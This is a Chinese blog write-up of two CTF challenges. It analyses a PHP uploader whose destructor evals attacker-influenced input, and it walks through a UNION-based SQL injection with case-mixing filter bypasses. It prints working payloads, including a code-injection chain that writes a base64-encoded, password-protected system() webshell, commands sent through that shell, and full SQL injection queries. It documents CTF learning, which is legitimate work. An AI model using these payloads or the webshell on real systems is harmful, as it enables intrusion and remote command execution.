		$sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
		$ext = ".txt";
		@mkdir($sandbox, 0777, true);
		if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
			$this->Filename = $_GET['name'];
		}
		else{
			$this->Filename = $sandbox.$_SESSION['user'].$ext;
		}

		$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
		$this->token = $_SESSION['user'];
	}

	function upload($file){
		global $sandbox;
		global $ext;

		if(preg_match("[^a-z0-9]", $this->Filename)){
			$this->cmd = "die('illegal filename!');";
		}
		else{
			if($file['size'] > 1024){
				$this->cmd = "die('you are too big (′▽`〃)');";
			}
			else{
				$this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
			}
		}
	}

	function __toString(){
		global $sandbox;
		global $ext;
		// return $sandbox.$this->Filename.$ext;
		return $this->Filename;
	}

	function __destruct(){
		if($this->token != $_SESSION['user']){
			$this->cmd = "die('check token falied!');";
		}
		eval($this->cmd);
	}
}

if(isset($_FILES['file'])) {
	$uploader = new Uploader();
	$uploader->upload($_FILES["file"]);
	if(@file_get_contents($uploader)){
		echo "下面是你上传的文件:<br>".$uploader."<br>";
		echo file_get_contents($uploader);
	}
}

?>

代码分析:复制到vscode方便查看,然后逐行解读代码,前面是正常的html代码,包含说明和上传文件的表单;然后是PHP代码,关闭报错信息,声明Uploader类,这个类有三个属性,分别是$Filename、$cmd、$token,然后是__construct魔术方法,这个前面PHP函数那篇文章有讲过,翻过去查一下,发现是一个初始化的魔术方法,在类实例创建时调用

这个魔法方法的具体内容是:getcwd获取当前工作目录,拼接字符串/uploads/,再读取全局session中的user变量转换成md5拼接,完整的内容用$sandbox变量接收,$ext是默认文件后缀,@mkdir创建目录的函数,@错误抑制符,当目录存在时也不会先是警告,三个参数分别是路径,可读可写可执行权限,是否递归创建,如果父目录不存在会自动创建,然后是if块,isset检查是否带有name参数,get请求,and 并且,!不,preg_match正则表达式匹配,//中间的内容是要匹配的内容,i是不区分大小写

data://、filter://、php://

提交的请求中带有name参数,且不包含如上内容执行该代码块:

$this->Filename = $_GET['name'];

设置当前对象Fliename属性为用户提交的name参数,如果不满足条件,Filename为用户路径+user变量+默认文件后缀:

else{
 $this->Filename = $sandbox.$_SESSION['user'].$ext;
}

然后设置对象cmd属性为如下内容:

$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";

输出 html 标签,”xxx,我想去学习xxx”,然后设置对象的token属性为用户session中的user变量:

$this->token = $_SESSION['user'];

然后创建一个用法upload(),接收$file变量为方法的参数,全局文件路径和文件后缀:

fuction upload($file) {
 global $sandbox;
 global $ext;
}

然后检查对象的文件名中是否包含除了a-z和0-9以外的字符,如果满足,对象的cmd属性变更为die结束,然后打印信息(非法文件名):

if(preg_match("[^a-z0-9]", $this->Filename)){
 $this->cmd = "die('illegal filename!');";
}

die语法:die(信息) ;用法:输出一条信息,退出当前脚本

如果不满足,判断文件变量的大小是否大于1024,满足cmd属性设置为die(“你的文件太大了”),不满足cmd属性设置为如下:

else{
 if($file['size'] > 1024){
     $this->cmd = "die('you are too big (′▽`〃)');";
 }
 else{
     $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
 }
}

move_uploaded_file用来移动上传的文件的路径,前面是$file变量的临时名字,后面是对象的Filename属性,执行这个命令会将上次的文件移动到对应的目录文件夹下,并且默认后缀是txt,也就是说即使上传一个php文件,也会变为txt文件

然后是魔术方法__toString,查一下之前的PHP函数入门文章(写了就是为了忘记的时候看的),发现是当对象被当作字符串使用时自动调用,还是全局变量,然后调用这个魔术方法会返回对象的Filename:

function __toString(){
 global $sandbox;
 global $ext;
 // return $sandbox.$this->Filename.$ext;
 return $this->Filename;
}

然后是__destruct魔术方法,这是一个析构函数,在对象被销毁时自动调用:

function __destruct(){
 if($this->token != $_SESSION['user']){
     $this->cmd = "die('check token falied!');";
 }
 eval($this->cmd);
}

判断对象的token属性不等于session全局变量中的user变量,满足对象的cmd属性设置为xxx,但是token属性是对象在初始化时就设置为这个了,除非有变动,否则不执行该代码块,然后继续,不管是否满足条件,都执行eval函数,代码执行函数,参数为对象的cmd属性,也就是说我们只要能够在对象销毁前控制这个cmd属性为恶意的PHP字符串,比如PHP使用系统命令ls,’system(“ls”)’,最后执行的就是系统命令ls,返回当前目录下的文件信息

if(isset($_FILES['file'])) {
 $uploader = new Uploader();
 $uploader->upload($_FILES["file"]);
 if(@file_get_contents($uploader)){
     echo "下面是你上传的文件:<br>".$uploader."<br>";
     echo file_get_contents($uploader);
 }
}

这是最后一个判断,$_FILES全局变量,用来接收用户上传的文件,这个全局变量中的file就是之前html中指定的name,意思是检查用户上传的文件是否存在,如果存在,新建一个Uploader实例,然后调用这个实例的upload方法,参数是上传的文件(一个数组),通过file_get_contents获取实例的文件信息,返回的是字符串,输出提前设置的信息,输出返回的字符串内容,然后对象被当作字符串使用,自动调用__toString魔术方法中的代码,返回对象的文件名属性

接下来逐行分析home文件的代码,因为我代码能力不是特别厉害,所以想分析的细致一点,便于我后面理解漏洞

开启会话,然后输出html标签,然后关闭报错信息:

session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);

三连判,判断是否设置了全局变中的user变量,满足判断是否提交了file参数,满足执行判断正则表达式:

if(isset($_SESSION['user'])){
	if(isset($_GET['file'])){
		if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
			die("hacker!");
		}

如上,正则表达式会匹配提交的file参数,如果存在这个表达式中的内容就返回die(“hacker”),?号是任意字符0次或1次,这样如果我们输入flag就会匹配成功,输入f1lag也会匹配成功,fl2ag也会成功,输入fla则不会,因为f、l、a、g是字面字符,必须全部带有才会匹配成功,这就让我想到可不可以用其他方法绕过,比如URL编码fl%61g,没有完全带有全部字面字符,但是解码后还是flag,一会试试看,然后双重编码比如fl%2561g,ai还分析出可以尝试数组和控制符绕过,比如file[]=flagfile=f[换行]lag

如果第三个判断,也就是没有匹配到就会执行这段代码:

else{
 if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){
     $file = $_GET['file'].".php";
 }
 else{
     $file = $_GET['file'].".fxxkyou!";
 }
 echo "当前引用的是 ".$file;
 require $file;
}

拆开来看,第一个判断是匹配提交的file参数,如果带有home或者upload,file变量就是提交的参数+php后缀,否则file变量为提交的参数+fxxkyou!后缀,然后输出信息,最后包含文件,能包含,但是有过滤

然后是前面前面的第二个判断,如果没有提交file参数,执行这段代码:

else{
 die("no permission!");
}

还是分析漏洞点:

if(@file_get_contents($uploader)){
 echo "下面是你上传的文件:<br>".$uploader."<br>";
 echo file_get_contents($uploader);
}

这段代码第一个echo将uploader当作字符串进行拼接,这时会调用__toString魔术方法返回对象的file那么属性,然后拼接,再次输出,而file_get_contents($uploader)也会将传入的参数当作字符串处理,也就是能够正常触发__toString,这么一来,我们只需要按照他的代码逻辑正常读取flag文件即可:

想要的file_get_contents("/var/www/html/flag.php")
需要的
function __toString(){
 global $sandbox;
 global $ext;
 // return $sandbox.$this->Filename.$ext;
 return $this->Filename;
}
其中$this->Filename为"/var/www/html/flag.php"
想要它为这个路径,我们需要
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
 $this->Filename = $_GET['name'];
}
else{
 $this->Filename = $sandbox.$_SESSION['user'].$ext;
}
提交name参数,并且不为正则表达式匹配的内容,对象的Filename才会为前面的内容
name=/var/www/html/flag.php
这时name参数存在,且不是正则表达式没匹配成功,对象的Filename属性为我们的name参数的值
这样就能够正常走到后面的流程,然后调用这那,最后返回文件的内容
不过这是upload的php页面,需要我们用home去包含这个页面才可以
payload就如下:
file=upload&name=/var/www/html/flag.php

然后通过倒推,我们得出了获取flag的payload:

file=upload&name=/var/www/html/flag.php

这是第一种解法,还有一种是看别人wp中提到的phar反序列化->命令执行,不过我当时没看懂,然后不管了,自己分析代码,分析着分析着发现可以使用下面的我自己的payload也可以成功:

之前分析代码发现在析构函数中有eval,这段代码就会执行PHP命令
function __destruct(){
 if($this->token != $_SESSION['user']){
     $this->cmd = "die('check token falied!');";
 }
 eval($this->cmd);
}
也就是说如果我们想要写入webshell就得控制对象的cmd属性
内容为"file_put_contents("文件名", "webshell");"
当然为了顺便开发工具,我打算使用base64编码
payload为"file_put_contents("文件名",  base64_decode("经过编码后的webshell"));"
暂时不管具体的webshell,我们先理清思路,当cmd属性为上面的payload时
当对象实例被销毁,就会调用魔术方法,只要token不变,cmd就还是之前的cmd
那么我们需要保证在前面变动cmd属性,并且不触发最后的变动逻辑
这样执行的才是我们的写入payload
这里的变动逻辑是token属性不为会话中的user
然后看其它代码,哪里修改了cmd属性,或者初始化了cmd属性
$this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
这是对象实例创建时的魔术方法初始化的cmd属性内容
继续往下走,找用户输入能接触到cmd属性的地方
upload方法中
if(preg_match("[^a-z0-9]", $this->Filename)){
 $this->cmd = "die('illegal filename!');";
}
else{
 if($file['size'] > 1024){
     $this->cmd = "die('you are too big (′▽`〃)');";
 }
 else{
     $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
 }
}
前面直接定死的,继续看else,大于1024还是定死的,到else/else下时
cmd 属性的内容接收了tmp_name变量和对象的Filename属性
而Filename我们又可以通过以下代码来控制初始化
if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
 $this->Filename = $_GET['name'];
}
那么思路就理清了
满足条件,初始化恶意name参数->upload方法中拼接->对象销毁(文件结束)执行写入
那么怎么构造呢,首先看upload方法,我们要让从这里到最后执行的代码没有问题
"move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
分析上面这个,如果我们想要写入一个12313,是不是可以这样
"/var/www/html/123.txt');file_put_contents('webshell.php',base64_decode('12313'));#"
因为最后是组合拼接到一起在赋予给cmd属性
拼接后的完整语句为
move_uploaded_file('tmp_name','/var/www/html/123.txt');file_put_contents('/var/www/html/webshell.php',base64_decode('12313'));#');
最后的');无法解决那就用php的单行注释,让它被解析为注释,eval会把内容当作php内容处理
这样构造就能够实现前面的拼接为一个正常的函数调用,分号后面的为另一个函数调用
这就很像SQL注入了,我觉得这题为什么叫SQL注入可能就是这个原因
而且因为没有过滤特殊符号,只是做了正则表达式的匹配,所以也不用担心
那么name为/var/www/html/123.txt');file_put_contents('/var/www/html/webshell.php',base64_decode('12313'));#
接下来修改base64编码里面的内容

先用工具创建一个PHPWebshell:

<?php $password = '114514';if(isset($_GET['pwd']) && $_GET['pwd'] === $password){system($_GET['cmd']);}else{header('HTTP/1.0 404 Not Found');echo '404 Not Found';} ?>

然后base64编码:

PD9waHAgJHBhc3N3b3JkID0gJzExNDUxNCc7aWYoaXNzZXQoJF9HRVRbJ3B3ZCddKSAmJiAkX0dFVFsncHdkJ10gPT09ICRwYXNzd29yZCl7c3lzdGVtKCRfR0VUWydjbWQnXSk7fWVsc2V7aGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJyk7ZWNobyAnNDA0IE5vdCBGb3VuZCc7fSA/Pg==

拼接完整的payload:

/var/www/html/123.txt');file_put_contents('/var/www/html/uploads/webshell.php',base64_decode('PD9waHAgJHBhc3N3b3JkID0gJzExNDUxNCc7aWYoaXNzZXQoJF9HRVRbJ3B3ZCddKSAmJiAkX0dFVFsncHdkJ10gPT09ICRwYXNzd29yZCl7c3lzdGVtKCRfR0VUWydjbWQnXSk7fWVsc2V7aGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJyk7ZWNobyAnNDA0IE5vdCBGb3VuZCc7fSA/Pg=='));//

ok,直接实战!抓包请求,随便上传一个图:

第一种方法,成功夺旗!

flag{6f278c5c-7736-4b54-b195-54a3977d3fbe}

尝试第二种方法:

好了,连接一下看看:

http://4af3f0fd-cd03-48c9-8241-9c935d88186a.node5.buuoj.cn:81/webshell.php

发现连接失败,然后我在我自己的服务器上面复现了一下这个环境,也没有问题啊,后来分析响应才发现最后有个你的文件太大了,这个是cmd的属性,因为析构函数是最后调用,在这之前,任何改变都会导致结果不同,但是最后执行的这个,说明没有进入对应的拼接代码块,发现条件是文件大小,于是我新建了一个1.txt文件,里面的内容就是1,然后上传,抓包,修改,使用phpinfo,成功命令执行:

name=test.txt');phpinfo();//

可以看到成功输出了phpinfo的信息,因为比较多就不展示了,然后使用websehll写入payload:

/var/www/html/123.txt');file_put_contents('/var/www/html/uploads/webshell.php',base64_decode('PD9waHAgJHBhc3N3b3JkID0gJzExNDUxNCc7aWYoaXNzZXQoJF9HRVRbJ3B3ZCddKSAmJiAkX0dFVFsncHdkJ10gPT09ICRwYXNzd29yZCl7c3lzdGVtKCRfR0VUWydjbWQnXSk7fWVsc2V7aGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJyk7ZWNobyAnNDA0IE5vdCBGb3VuZCc7fSA/Pg=='));//

如果你前面看的话,会发现我用的是井号但是后来修改了,因为我发现颜色不对,工具里面的#和值不是一个颜色,判断没有正确解析,但是又不能加引号,就只能转义了,不过为了防止转义也不行,就换成//双斜杆来注释后面的内容了,发送数据包后的确没有了那个提示大小的问题,然后使用工具连接,也成功连接:

然后我们切换到上一级目录,因为我们上传的地方是uploads/,所以需要cd ../:

cd ../;ls

然后发现环境到期了,因为做得有点久了,重新开了环境,然后上传webshell,然后连接,输入这个命令获取目录信息:

没问题,成功找到flag文件,直接cat查看:

成功夺旗!不过也的确暴露了一个工具的问题,就是路径暂存,如果每次输入命令都需要去cd开头会很麻烦,需要添加逻辑,记录路径,这样不用每次都cd,在第一次cd后就会保存路径,然后后面再次cd的时候替换路径

flag{3956efe2-0be3-411b-b688-c69a43db8358}

再回看之前的文件大小问题,分析这段代码就能明白了:

else{
if($file['size'] > 1024){
  $this->cmd = "die('you are too big (′▽`〃)');";
}
else{
  $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
}
}

因为文件大小超过了1024,最后cmd变为了上面if模块里面的内容,只有不超过,才会走下面的拼接,走了下面的拼接才能在实例销毁时调用

最后看flag.php文件的输出,只是将flag用变量接收,并没有任何的其他操作,所以直接访问不显示,而使用包含,即使用编码成功绕过,最后的结果还是获取不到,因为没有执行任何php代码,想要查看,只能使用前面的tostring返回文件内容,或者连接webshell或者直接将查看命令写入payload发送请求,在实例销毁时实现代码执行,以此来查看flag

然后本部分提到的wp文章是这篇文章——GXYCTF2019-BabysqliV3.0 | MIXBP

我第一种解法分析代码后也做出来了,他第二种的这个我有点没有看懂是在干嘛,所以我就自个分析代码,命令执行嘛,只要能执行命令就没问题,然后通过反推构造payload的,最后也是成功注入,当然payload可以直接是 cat flag的,不过为了方便学习和开发工具,我就整复杂了一点,上传的是webshell,然后连接webshell来执行命令的

[NewStarCTF 2023 公开赛道]ez_sql

题目:

inject me plz.

解题思路:

题目没什么有用的信息,翻译过来就是”请注入我”,所以我们直接开启靶机看看

最上面的黑字意思是”不知道成绩搜索”,尽管英语不是特别好,不过理解差不多就行了,然后下面都是些学科,一个一个的点开看看

注意URL传参,然后其他页面

差不多是一样的,那么就没有全部打开的必要了,我们直接尝试:

TMP5239 and 1=1 返回no
TMP5239 and 1=2 返回no 存在过滤
TMP5239' 无回显,暂时判断为语法报错不回显,也可能是其他原因
TMP5239' and 1=1# 无法完全确定是过滤了空格还是and还是其他
and 返回no 存在过滤,代表过滤是传入参数时就进行了
or  返回no 存在过滤
' 无回显
TMP52391 返回 id not exists 

简单收集了点信息,看样子是直接进行了过滤,并且是在传入参数时就过滤了,这样走不到后面的执行流程,判断这个可以方便我们接下来的Fuzz,如果是其他问题导致的显示no可能影响判断,现在通过这个就确定,即使不输入其他内容,单独输入内容,如果被匹配,都会过滤并返回no,那么直接Fuzz查看没有返回no的请求,先判断过滤了什么:

463长度为no,查看所有463长度的响应

elt没有过滤,直接使用看看注入是否成功,还是说需要构造

显示id不存在,说明我们的输入被当作字符串处理,而不是直接拼接成语句,所以我们需要使用前面不回显的单引号来拼接语句,使用#来注释后面的内容:

TMP5239' || 1=1 #
TMP5239' & 1=1 #

还是无响应,&没有过滤,=号也没有过滤,'又能影响查询,无响应只能是注释问题,换一种注释看看:

TMP5239' & 1=1 --+
TMP5239' AND 1=1 --+
TMP5239' AnD 1=1 --+

还是没用,但是我尝试AND又成功了,那很奇怪啊,两个意思一样却不能返回结果,后端逻辑怎么写的,不过既然用大小可以绕过检测那么基本上就可以开始注入了,因为是小写匹配,这里也是忘记了用编码_双写_混用的Fuzz字典了,只跑了过滤情况,然后就下断定了,用绕过字典跑一下或许就立马可以发现可以绕过过滤

可以看到大小写混用都是可以的,我一开始看见这题只有500多人解出来,以为会很难,然后压根就没想过去绕过过滤,而是才逻辑去了,然后看了一眼别人wp发现别人直接用sqlmap跑出来的,才想到压根没有那么复杂,大小写混用或者大写都可以绕过过滤,那么直接构造payload获取信息:

TMP5239'+ORDER+BY+3+--+
TMP5239'+ORDER+BY+4+--+
TMP5239'+ORDER+BY+5+--+
TMP5239'+ORDER+BY+6+--+

当到6的时候无回显,说明字段数为5,继续,使用联合查询来判断回显位置:

-1'+UNION+SELECT+1,2,3,4,5+--+

那就用二三来回显吧,随便选的:

-1'+UNION+SELECT+1,database(),group_concat(schema_name),4,5+FROM+INFORMATION_SCHEMA.SCHEMATA--+

继续,获取ctf的表名:

-1'+UNION+SELECT+1,database(),group_concat(table_name),4,5+FROM+INFORMATION_SCHEMA.TABLES+WHERE+table_schema=database()--+

有了,直接查列:

-1'+UNION+SELECT+1,2,group_concat(column_name),4,5+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+table_schema=database()+AND+table_name='here_is_flag'--+

获取flag:

-1'+UNION+SELECT+1,2,flag,4,5+FROM+ctf.here_is_flag--+

成功夺旗!

flag{462bf3bf-1134-4d22-bab4-99ee81584dad}

有些payload是小写有些是大写是因为过滤了的字符需要大写绕过,输入的时候我又不喜欢一直开着CapsLock,大写都是按住shift写的,所以有些地方不过滤的时候就懒得一直按着,就是小写,不过payload没问题,能执行即可

最后这题可能不是因为难吧,可能只是因为2023的题目,所以没多少人做,然后其他人看解出来的少,就更不想做了

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇